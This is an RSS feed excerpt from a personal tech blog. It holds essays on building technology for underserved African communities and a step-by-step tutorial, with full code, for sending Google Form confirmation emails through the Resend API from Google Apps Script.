<p>The value is in applying intelligence where it creates meaningful impact.</p>
<hr />
<h2>Build for the Community You Know</h2>
<p>One idea has stayed with me for a long time.</p>
<p>An engineer who grows up in Kaiama sees different problems from an engineer who grows up in Lekki.</p>
<p>Neither perspective is more valuable than the other.</p>
<p>But they are different.</p>
<p>The danger is when every engineer eventually moves to the same few cities.</p>
<p>As that happens, entire communities slowly disappear from the conversations that shape African technology.</p>
<p>Not because anyone intended to exclude them.</p>
<p>Simply because proximity shapes perspective.</p>
<p>Sometimes the biggest opportunity isn't creating another product for people who already have ten alternatives.</p>
<p>It's solving the first meaningful problem for people who have none.</p>
<hr />
<h2>Technology Begins with Understanding</h2>
<p>Before we write code, train models, or raise funding, we need to understand the people we're building for.</p>
<p>Technology isn't valuable because it's modern.</p>
<p>It's valuable because it solves real problems.</p>
<p>Sometimes the best solution will use artificial intelligence.</p>
<p>Sometimes it will use machine learning.</p>
<p>Sometimes it will be nothing more than SMS, USSD, or a simple mobile application.</p>
<p>The technology itself isn't the achievement.</p>
<p>Improving people's lives is.</p>
<hr />
<h2>The Future of African Tech</h2>
<p>Africa has extraordinary engineers.</p>
<p>We don't lack talent.</p>
<p>We don't lack creativity.</p>
<p>What we need is intentionality.</p>
<p>We need engineers who are willing to look beyond the problems that dominate social media and startup conferences.</p>
<p>Engineers who ask difficult questions.</p>
<p>Who spend time understanding communities unlike their own.</p>
<p>Who build for people who are often overlooked because they don't represent the loudest or most profitable market.</p>
<p>Africa doesn't need to become the next Silicon Valley.</p>
<p>Africa needs to become better at solving African problems.</p>
<p>If we do that well, we won't spend our time trying to catch up with the rest of the world.</p>
<p>We'll build solutions the rest of the world has never imagined.</p>
]]></content:encoded></item><item><title><![CDATA[What Africa Actually Needs From Tech in 2026 — And What We Keep Getting Wrong]]></title><description><![CDATA[Every year there is a new wave of excitement about "African tech." A new funding record. A new unicorn. A new Western VC discovering Lagos or Nairobi for the first time and calling it "the next Silico]]></description><link>https://timiebi.hashnode.dev/what-africa-actually-needs-from-tech-in-2026-and-what-we-keep-getting-wrong</link><guid isPermaLink="true">https://timiebi.hashnode.dev/what-africa-actually-needs-from-tech-in-2026-and-what-we-keep-getting-wrong</guid><category><![CDATA[Africatech]]></category><category><![CDATA[BuildingForAfrica]]></category><category><![CDATA[#AfricaTech #AfricanInnovation #StartupsAfrica #SocialInnovationAfrica #SustainableTechAfrica #AgritechAfrica #FintechAfrica #EdtechAfrica #HealthtechAfrica #CleantechAfrica #innovateAFRICA #AfricaVC #AfricaHackathon #FutureofAfrica #AfricaRising #SolvingAfricaProblems]]></category><category><![CDATA[#AfricanHeritage]]></category><dc:creator><![CDATA[KOSU TIMIEBI NICHOLAS]]></dc:creator><pubDate>Wed, 29 Jul 2026 20:38:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a590b3982668ad602ba8fd2/7da6e3b5-ed42-4981-93ec-7dfa6d5756f8.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Every year there is a new wave of excitement about "African tech." A new funding record. A new unicorn. A new Western VC discovering Lagos or Nairobi for the first time and calling it "the next Silicon Valley." And every year, the majority of the problems that actually matter to the majority of Africans remain largely unsolved. I am not being cynical. I am being precise. Because I think the gap between the tech Africa is getting and the tech Africa actually needs is important to understand — especially for African engineers deciding what to build.</p>
<p>What We Keep Building The African startup ecosystem in 2026 is dominated by a few categories: Fintech — payments, lending, remittances, investment. This is the most developed category and genuinely the most impactful. Paystack, Flutterwave, Moniepoint, and others have materially changed how money moves across the continent. This is real progress. Logistics and e-commerce — delivery, last-mile logistics, online retail. Also genuinely impactful, though still concentrated in a handful of major cities. B2B SaaS — tools for African businesses to manage operations, HR, accounting. Growing fast, largely serving the formal economy. These are all good things. But they share a common characteristic: they serve the African middle class and formal economy primarily. The majority of Africans — subsistence farmers, informal traders, rural communities, people without smartphones — are largely outside the ecosystem these products serve.</p>
<p>What Africa Actually Needs</p>
<ol>
<li><p>Agricultural technology that works offline Agriculture employs over 60% of Africa's workforce. The average African farmer makes decisions about planting, fertilizer, pest control, and market timing with dramatically less information than they could have access to. The problem is not that agricultural apps do not exist. They do. The problem is that most of them require a smartphone and a data connection. The farmer who needs them most often has neither. What is actually needed: SMS-based agricultural advisory systems, USSD interfaces for market price data, offline-capable mobile apps that sync when connectivity is available. Low-tech delivery of high-value information.</p>
</li>
<li><p>Healthcare infrastructure, not healthcare apps Africa does not primarily need another telemedicine app for urban middle-class users who already have reasonable healthcare access. It needs digital infrastructure that makes the existing healthcare system work better. Electronic health records that work across facilities. Supply chain management for medicines and vaccines — the WHO estimates that between 10-30% of medicines in sub-Saharan Africa are substandard or falsified, partly because of supply chain opacity. Diagnostic tools that work in low-resource settings. This is harder to build than a consumer app. It requires working with governments, NGOs, and health systems rather than going direct-to-consumer. That is why it gets less startup attention.</p>
</li>
<li><p>Local language technology Africa has over 2,000 languages. The vast majority of technology built in and for Africa is built in English, French, or Portuguese — the languages of the colonizers. Most Africans are not illiterate. They are literate in languages that technology largely ignores. A farmer in rural Kogi State is fully capable of using a sophisticated app — if it spoke Igala. An elder in a Ijaw fishing community could navigate complex information — if it was in Izon. Natural language processing for African languages is one of the most underfunded and underbuilt categories in African tech. Large language models trained predominantly on English perform significantly worse on African languages. This is not an accident — it reflects whose knowledge is considered worth encoding.</p>
</li>
<li><p>Infrastructure for the informal economy The informal economy accounts for roughly 85% of employment in sub-Saharan Africa. Street traders, artisans, informal service providers — the vast majority of economic activity happens outside the formal systems that most fintech products are built to serve. Inventory management tools that work without internet. Simple point-of-sale systems that accept cash and mobile money. Supply chain connections that give informal traders access to wholesale pricing. Credit systems that assess creditworthiness without formal employment or bank history. Moniepoint has made progress here. But the surface area of the problem is enormous.</p>
</li>
</ol>
<p>What African Engineers Can Do About It I am not arguing that every African engineer should abandon their career to solve these problems. I am arguing that the choices African engineers make about what to build and what to join matter. A few practical thoughts: Consider the user you are excluding, not just the user you are designing for. Every product decision that requires a smartphone, a data connection, or English literacy is a decision to exclude a significant portion of the African population. That is sometimes the right call. But it should be a conscious one. Government and NGO work is not beneath you. Some of the highest-impact engineering problems in Africa sit inside governments, health ministries, and international NGOs. The engineers who solve those problems rarely get TechCabal writeups. They matter enormously anyway. Build in African languages where you can. If you are building a product for a specific African community, consider whether you could build it in that community's language. Even partial localization is better than none. Preserve what is being lost. If you have a grandmother, a village elder, a community knowledge-keeper — record them. Document what they know. You do not need a startup to do this. You need a phone, some time, and the intention.</p>
<p>The Opportunity Is Real None of this is to say the African tech ecosystem is failing. It is not. It is growing faster than almost anywhere in the world, producing genuinely world-class engineers and products. But the next generation of African tech — the generation that will matter most — will be built by engineers who understand that the opportunity is not just in serving the African middle class better. It is in serving the 80% that the current ecosystem largely does not reach. That is a harder problem. It is also a much larger opportunity. And it will be built by engineers who grew up in the constraint, understand it from the inside, and refuse to build products that treat their own people as an afterthought.</p>
]]></content:encoded></item><item><title><![CDATA[How I Replaced GmailApp with Resend in Google Apps Script -(And Why You Should Too)]]></title><description><![CDATA[If you've ever built a Google Form with automated email responses using Google Apps Script, you've probably run into the same frustrating problem I did.
The emails send successfully, but they come fro]]></description><link>https://timiebi.hashnode.dev/how-i-replaced-gmailapp-with-resend-in-google-apps-script-and-why-you-should-too</link><guid isPermaLink="true">https://timiebi.hashnode.dev/how-i-replaced-gmailapp-with-resend-in-google-apps-script-and-why-you-should-too</guid><category><![CDATA[Google Apps Script, Resend, Email, JavaScript, Tutorial]]></category><category><![CDATA[Google]]></category><category><![CDATA[google apps script]]></category><category><![CDATA[resend]]></category><category><![CDATA[email]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[Web Development]]></category><dc:creator><![CDATA[KOSU TIMIEBI NICHOLAS]]></dc:creator><pubDate>Tue, 28 Jul 2026 17:29:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a590b3982668ad602ba8fd2/1e7b2630-5849-4118-a38c-24d8c65efec5.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you've ever built a Google Form with automated email responses using Google Apps Script, you've probably run into the same frustrating problem I did.</p>
<p>The emails send successfully, but they come from your personal Gmail address. That means every person who submits the form sees your name and Gmail address. If you're building something for a client or organization, that's far from ideal.</p>
<p>I ran into this issue while building an automated onboarding workflow for a client. Every time someone submitted the registration form, the confirmation email displayed my personal Gmail address as the sender. It worked, but it wasn't professional and certainly wasn't something I wanted in a production system.</p>
<p>Like most developers, I tried the obvious solutions first—Gmail aliases, changing the <code>from</code> field in <code>GmailApp</code>, and a few other workarounds. None of them solved the problem cleanly. Either my personal email was still exposed, or the setup was too complicated for the client to manage.</p>
<p>Then I remembered I was already using Resend for transactional emails in another application. That turned out to be exactly what I needed.</p>
<p>In this tutorial, I'll show you how to replace <code>GmailApp</code> with Resend in Google Apps Script, step by step, and include the complete working code so you can implement it yourself.</p>
<h3>Why GmailApp Falls Short for Professional Projects</h3>
<p>Before we get into the solution, let us understand the core problem.</p>
<p>When you use <code>GmailApp.sendEmail()</code> in Google Apps Script, the email is sent from <strong>whichever Google account authorised the script</strong>. There is no clean way around this. Even if you add a <code>from</code> field, it only works if that email is already set up as a verified Gmail alias — which requires manual setup inside Gmail settings and verification through the target inbox.</p>
<p>The practical problems this creates:</p>
<ul>
<li><p>Your personal Gmail address appears as the sender to every form respondent</p>
</li>
<li><p>If you hand the project to a client, the emails still come from your account</p>
</li>
<li><p>If your Gmail account changes or gets suspended, the whole system breaks</p>
</li>
<li><p>Deliverability is inconsistent — Gmail sending limits are strict and emails can land in spam</p>
</li>
</ul>
<p><strong>Resend solves all of these problems.</strong> It is a developer-first email API that sends from your own verified domain, has excellent deliverability, and works beautifully with Google Apps Script through a simple HTTP request.</p>
<h3>What Is Resend?</h3>
<p>Resend is a transactional email service built specifically for developers. Instead of configuring SMTP servers or fighting with Gmail settings, you verify your domain once, get an API key, and send emails programmatically from any address on that domain.</p>
<p>For example, once you verify <a href="http://gesiye.africa"><code>yourdomain.</code></a>com on Resend, you can send emails from:</p>
<ul>
<li><p><a href="mailto:hello@gesiye.africa"><code>hello@yourdomain.</code></a>com</p>
</li>
<li><p><a href="mailto:noreply@gesiye.africa"><code>noreply@yourdomain.</code></a>com</p>
</li>
<li><p><a href="mailto:team@gesiye.africa"><code>team@yourdomain.</code></a>com</p>
</li>
</ul>
<p>All professionally, reliably, and with your brand front and centre.</p>
<p><strong>Pricing:</strong> Resend's free tier includes <strong>3,000 emails per month</strong> and <strong>100 emails per day</strong>, making it a great option for projects, prototypes, and many production applications.</p>
<h3>Prerequisites</h3>
<p>Before you start, make sure you have:</p>
<ul>
<li><p>A Google Form connected to a Google Sheet</p>
</li>
<li><p>A Resend account (free at <a href="http://resend.com">resend.com</a>)</p>
</li>
<li><p>A verified domain on Resend (takes about 10 minutes — Resend walks you through adding DNS records)</p>
</li>
<li><p>Basic familiarity with Google Apps Script (you have opened it before)</p>
</li>
</ul>
<h3>Step 1 — Get Your Resend API Key</h3>
<ol>
<li><p>Log into your Resend dashboard at <a href="http://resend.com"><strong>resend.com</strong></a></p>
</li>
<li><p>Click <strong>"API Keys"</strong> in the left sidebar</p>
</li>
<li><p>Click <strong>"Create API Key"</strong></p>
</li>
<li><p>Give it a name — something like <code>my-forms-key</code></p>
</li>
<li><p>Set permission to <strong>"Sending access"</strong></p>
</li>
<li><p>Click <strong>"Add"</strong></p>
</li>
<li><p><strong>Copy the key immediately</strong> — Resend only shows it once</p>
</li>
</ol>
<p>Your API key looks like this:</p>
<pre><code class="language-plaintext">re_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<p>Keep this safe. Do not share it. Do not push it to GitHub.</p>
<h3>Step 2 — Open Google Apps Script</h3>
<ol>
<li><p>Open your Google Sheet connected to the form</p>
</li>
<li><p>Click <strong>Extensions</strong> in the top menu</p>
</li>
<li><p>Click <strong>Apps Script</strong></p>
</li>
<li><p>This opens the Apps Script editor — this is where all the magic happens</p>
</li>
</ol>
<h3><strong>Step 3 — Store Your API Key Safely</strong></h3>
<p>Never paste your API key directly into the script as plain text. Instead, use Script Properties — a secure key-value store built into Apps Script. How to set it up:</p>
<p>In the Apps Script editor, click the ⚙️ gear icon (Project Settings) in the left sidebar Scroll down to "Script Properties" Click "Add Script Property" Set:</p>
<p>Property: RESEND_API_KEY Value: re_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (your actual key)</p>
<p>Click "Save Script Properties"</p>
<p>Now your API key is stored securely and you reference it in code like this: javascript const RESEND_API_KEY = PropertiesService .getScriptProperties() .getProperty("RESEND_API_KEY");</p>
<hr />
<h3>Step 4 — Write the Resend Helper Function</h3>
<p>Google Apps Script does not support npm packages — so you cannot install the Resend SDK directly. Instead, you call the Resend API using <code>UrlFetchApp.fetch()</code> — Apps Script's built-in HTTP request tool.</p>
<p>Here is the helper function that handles all email sending:</p>
<p>javascript</p>
<pre><code class="language-javascript">function sendViaResend(apiKey, from, to, subject, htmlBody) {
  const url = "https://api.resend.com/emails";

  const payload = {
    from: from,
    to: [to],
    subject: subject,
    html: htmlBody
  };

  const options = {
    method: "post",
    contentType: "application/json",
    headers: {
      "Authorization": "Bearer " + apiKey
    },
    payload: JSON.stringify(payload),
    muteHttpExceptions: true
  };

  const response = UrlFetchApp.fetch(url, options);
  const result = JSON.parse(response.getContentText());

  Logger.log(result);

  return result;
}
</code></pre>
<p>This function takes five arguments:</p>
<ul>
<li><p><code>apiKey</code> — your Resend API key from Script Properties</p>
</li>
<li><p><code>from</code> — the sender address (must be on your verified domain)</p>
</li>
<li><p><code>to</code> — the recipient email address</p>
</li>
<li><p><code>subject</code> — the email subject line</p>
</li>
<li><p><code>htmlBody</code> — the HTML content of the email</p>
</li>
</ul>
<h3>Step 5 — Write the Main onFormSubmit Function</h3>
<p>This is the function that fires every time someone submits your Google Form. It reads the form data from the sheet and sends two emails — one to the admin, one to the person who submitted.</p>
<pre><code class="language-javascript">function onFormSubmit(e) {
  // Get form data
  const sheet = e.source.getActiveSheet();
  const row = e.range.getRow();
  const data = sheet.getRange(row, 1, 1, sheet.getLastColumn()).getValues()[0];

  const fullName = data[1];
  const email = data[4]?.trim();

  if (!email) return;

  const firstName = fullName
    ? fullName.split(" ")[0]
    : "there";

  // Load your API key
  const RESEND_API_KEY = PropertiesService
    .getScriptProperties()
    .getProperty("RESEND_API_KEY");

  const FROM_EMAIL = "Your app Website &lt;noreply@yourdomain.com&gt;";
  const ADMIN_EMAIL = "admin@yourdomain.com";

  // Notify admin
  sendViaResend(
    RESEND_API_KEY,
    FROM_EMAIL,
    ADMIN_EMAIL,
    `New Application - ${fullName}`,
    `&lt;h2&gt;New Application&lt;/h2&gt;
     &lt;p&gt;&lt;strong&gt;Name:&lt;/strong&gt; ${fullName}&lt;/p&gt;
     &lt;p&gt;&lt;strong&gt;Email:&lt;/strong&gt; ${email}&lt;/p&gt;`
  );

  // Send confirmation email
  sendViaResend(
    RESEND_API_KEY,
    FROM_EMAIL,
    email,
    `Welcome, ${firstName}!`,
    `
      &lt;h2&gt;Welcome to the platform!&lt;/h2&gt;
      &lt;p&gt;Hi ${firstName},&lt;/p&gt;
      &lt;p&gt;Thanks for joining (your platform). We've received your application and will be in touch soon.&lt;/p&gt;
    `
  );
}
</code></pre>
<p>The important thing here isn't the HTML itself—it's the <code>sendViaResend()</code> function. You can pass any subject and HTML content you want, making it easy to send welcome emails, notifications, password resets, invoices, or any other transactional email from your Google Apps Script.</p>
<h3>Step 6 — Set Up the Trigger</h3>
<p>The script needs a trigger to fire automatically when someone submits the form. Without this, nothing runs.</p>
<ol>
<li><p>In the Apps Script editor, click the <strong>⏰ clock icon</strong> (Triggers) in the left sidebar</p>
</li>
<li><p>Click <strong>"+ Add Trigger"</strong> at the bottom right</p>
</li>
<li><p>Configure it:</p>
<ul>
<li><p><strong>Function to run:</strong> <code>onFormSubmit</code></p>
</li>
<li><p><strong>Event source:</strong> From spreadsheet</p>
</li>
<li><p><strong>Event type:</strong> On form submit</p>
</li>
</ul>
</li>
<li><p>Click <strong>"Save"</strong></p>
</li>
<li><p>Google will ask you to authorize the script — click through and allow it</p>
</li>
</ol>
<hr />
<h3>Step 7 — Authorize the Script</h3>
<p>Every time you modify the script or add new permissions (like <code>UrlFetchApp</code> for external HTTP calls), Google requires re-authorization.</p>
<ol>
<li><p>In the Apps Script editor, click <strong>Run</strong> → select <code>onFormSubmit</code></p>
</li>
<li><p>A popup appears — click <strong>"Review Permissions"</strong></p>
</li>
<li><p>Choose your Google account</p>
</li>
<li><p>Click <strong>"Advanced"</strong> → <strong>"Go to [your script name]"</strong></p>
</li>
<li><p>Click <strong>"Allow"</strong></p>
</li>
</ol>
<p>This is normal — Google flags any script that makes external HTTP calls as requiring manual review.</p>
<h3>Step 8 — Test It</h3>
<p>Submit a test entry through your Google Form and check:</p>
<ol>
<li><p><strong>Admin inbox</strong> — did the notification arrive from your domain?</p>
</li>
<li><p><strong>Test email inbox</strong> — did the confirmation arrive from your domain?</p>
</li>
<li><p><strong>Apps Script logs</strong> — click <strong>View → Logs</strong> in the editor to see the Resend API response</p>
</li>
</ol>
<p>A successful Resend response looks like:</p>
<p>json</p>
<pre><code class="language-json">{ "id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" }
</code></pre>
<p>If you see an error instead, check:</p>
<ul>
<li><p>Is your API key correct in Script Properties?</p>
</li>
<li><p>Is the <code>from</code> address on your verified Resend domain?</p>
</li>
<li><p>Did you authorize the script properly in Step 7?</p>
</li>
</ul>
<hr />
<h3>The Result</h3>
<p>Before this change, every email sent through the form showed my personal Gmail address as the sender. Unprofessional and a security concern.</p>
<p>After this change, every email arrives from <a href="mailto:noreply@socialvillagers.org"><code>noreply@mydomain.</code></a>com — the organisation's own domain, completely branded, no personal email addresses exposed anywhere.</p>
<p>The client sees professional emails. The applicants see professional emails. My Gmail is not involved at all.</p>
<hr />
<h3>Key Takeaways</h3>
<p><strong>Why Resend instead GmailApp for professional projects:</strong></p>
<ul>
<li><p>Sends from your own verified domain — no personal Gmail exposed</p>
</li>
<li><p>Better deliverability — less likely to land in spam</p>
</li>
<li><p>No Gmail sending limits affecting your script</p>
</li>
<li><p>API key can be rotated if compromised — Gmail account cannot</p>
</li>
<li><p>Works regardless of who owns or accesses the Google Sheet</p>
</li>
</ul>
<p><strong>The pattern works for any Google Form project:</strong></p>
<ul>
<li><p>Client intake forms</p>
</li>
<li><p>Event registrations</p>
</li>
<li><p>Job applications</p>
</li>
<li><p>Customer support tickets</p>
</li>
</ul>
<p>Anywhere you need professional, branded transactional email from a Google Form — this is the approach.</p>
<h3>Full Working Code</h3>
<p>Here is the complete script in one block, ready to copy and paste:</p>
<pre><code class="language-javascript">function onFormSubmit(e) {
  const sheet = e.source.getActiveSheet();
  const row = e.range.getRow();
  const data = sheet.getRange(
    row, 1, 1, sheet.getLastColumn()
  ).getValues()[0];

  const timestamp   = data[0];
  const fullName    = data[1];
  const gender      = data[2];
  const phone       = data[3];
  const email       = data[4]?.trim();
  const state       = data[5];
  const institution = data[6];
  const faculty     = data[8];
  const level       = data[9];
  const interest    = data[10];
  const skills      = data[11];
  const experience  = data[12];
  const whyJoin     = data[14];

  if (!email) return;

  const firstName = fullName
    ? fullName.trim().split(" ")[0]
    : "there";

  const RESEND_API_KEY = PropertiesService
    .getScriptProperties()
    .getProperty("RESEND_API_KEY");

  const FROM_EMAIL = "Your App &lt;noreply@yourdomain.com&gt;";
  const adminEmail = "admin@yourdomain.com";

  // Notify Admin
  sendViaResend(
    RESEND_API_KEY,
    FROM_EMAIL,
    adminEmail,
    "New Form Submission",
    `
    &lt;div style="font-family:Arial;background:#f4f6f8;padding:20px;"&gt;
      &lt;div style="max-width:600px;margin:auto;background:#fff;
                  padding:25px;border-radius:10px;border:1px solid #eee;"&gt;

        &lt;h2 style="color:#1a73e8;"&gt;📩 New Form Submission&lt;/h2&gt;

        &lt;p&gt;A new form has been submitted.&lt;/p&gt;

        &lt;hr/&gt;

        &lt;p&gt;&lt;strong&gt;Name:&lt;/strong&gt; ${fullName}&lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Email:&lt;/strong&gt; ${email}&lt;/p&gt;

        &lt;p style="margin-top:20px;font-size:12px;color:#777;"&gt;
          Submitted: ${timestamp}
        &lt;/p&gt;

      &lt;/div&gt;
    &lt;/div&gt;
    `
  );

  // Send Confirmation Email
  sendViaResend(
    RESEND_API_KEY,
    FROM_EMAIL,
    email,
    "Thanks for your submission!",
    `
    &lt;div style="font-family:Arial;background:#f4f6f8;padding:20px;"&gt;
      &lt;div style="max-width:600px;margin:auto;background:#fff;
                  padding:25px;border-radius:10px;border:1px solid #eee;"&gt;

        &lt;p&gt;Hi ${firstName},&lt;/p&gt;

        &lt;h2 style="color:#2e7d32;"&gt;Thanks for reaching out!&lt;/h2&gt;

        &lt;p&gt;
          We've successfully received your submission.
        &lt;/p&gt;

        &lt;p&gt;
          Our team will review it and get back to you if any further action is required.
        &lt;/p&gt;

        &lt;p&gt;
          We appreciate your time and look forward to connecting with you.
        &lt;/p&gt;

        &lt;p style="margin-top:20px;"&gt;
          Best regards,&lt;br/&gt;
          Your Team
        &lt;/p&gt;

      &lt;/div&gt;
    &lt;/div&gt;
    `
  );
}

function sendViaResend(apiKey, from, to, subject, htmlBody) {
  const url = "https://api.resend.com/emails";

  const payload = {
    from: from,
    to: [to],
    subject: subject,
    html: htmlBody
  };

  const options = {
    method: "post",
    contentType: "application/json",
    headers: {
      Authorization: "Bearer " + apiKey
    },
    payload: JSON.stringify(payload),
    muteHttpExceptions: true
  };

  const response = UrlFetchApp.fetch(url, options);
  const result = JSON.parse(response.getContentText());

  Logger.log(result);

  return result;
}
</code></pre>
<h3>What's Next</h3>
<p>This same pattern works for any Google Form project where you need professional branded email. You can extend it further:</p>
<ul>
<li><p>Add <strong>CC or BCC</strong> recipients by adding <code>cc</code> or <code>bcc</code> arrays to the Resend payload</p>
</li>
<li><p>Send <strong>attachments</strong> by adding the <code>attachments</code> field to the payload</p>
</li>
<li><p>Create <strong>multiple email templates</strong> for different form types</p>
</li>
<li><p>Add <strong>error handling</strong> that sends you an alert if Resend returns a failure</p>
</li>
</ul>
<p>If you found this useful or ran into a different problem building something similar, drop it in the comments. Happy to help.</p>
]]></content:encoded></item></channel></rss>